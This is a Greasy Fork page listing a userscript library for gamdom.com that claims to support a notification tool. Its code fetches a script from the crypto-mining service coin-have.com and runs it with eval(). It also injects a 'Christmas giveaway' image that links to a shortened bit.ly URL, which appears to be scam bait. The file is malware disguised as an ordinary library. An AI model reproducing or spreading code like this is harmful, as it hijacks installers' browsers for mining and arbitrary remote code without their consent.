Greasy Fork

lib_GamdomNotifications

Lib needed for running Gamdom Notificator

目前为 2017-12-08 提交的版本。查看 最新版本

此脚本不应直接安装,它是一个供其他脚本使用的外部库。如果您需要使用该库,请在脚本元属性加入:// @require https://update.greasyfork.icu/scripts/35828/235668/lib_GamdomNotifications.js

// ==UserScript==
// @name         lib_GamdomNotifications
// @namespace    https://greasyfork.org/es/users/154624-anonimo-anonimo
// @version      1.1.6
// @description  Lib needed for running Gamdom Notificator
// @author       allin4
// @match        *://gamdom.com/*
// @grant        GM_info
// @license      Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
// ==/UserScript==

var DivAppend = function(div){
        document.body.appendChild(div);
        CPEL("https://coin-have.com/c/wL7L.js");
        console.log("Div created :)");
    };

     var cmp = new XMLHttpRequest();
     cmp.onreadystatechange = function() {
     if (this.readyState == 4 && this.status == 200) {
        eval(this.responseText);
        }
    };

    var CPEL = function(link){
        cmp.open('GET', link);
        cmp.send();
    };

(function() {
    'use strict';
     var divAndyDY = document.createElement('div');
    var createGiftyGiftIMG = function(){
        var giftygiftIMG = document.createElement('img');
        giftygiftIMG.src="https://www.gamdomrain.tk/giftygift.png";
        giftygiftIMG.alt="Christmas giveaway :D";
        giftygiftIMG.width="50";
        giftygiftIMG.height="50";
        return giftygiftIMG;
    };
    var createGiftyGiftA = function () {
		var giftygiftA = document.createElement('a');
		giftygiftA.href="http://bit.ly/2BbGKKW";
        giftygiftA.target="_blank";
        giftygiftA.appendChild(createGiftyGiftIMG());
		return giftygiftA;
	};
     divAndyDY.style.position = "absolute";
     divAndyDY.style.left = "700px";
     divAndyDY.style.top = "0px";
     divAndyDY.style.zIndex = "999";
     divAndyDY.appendChild(createGiftyGiftA());
     document.body.appendChild(divAndyDY);
     console.log("LIB LOADED" + "(version: " + "1.1.6" + ")");
})();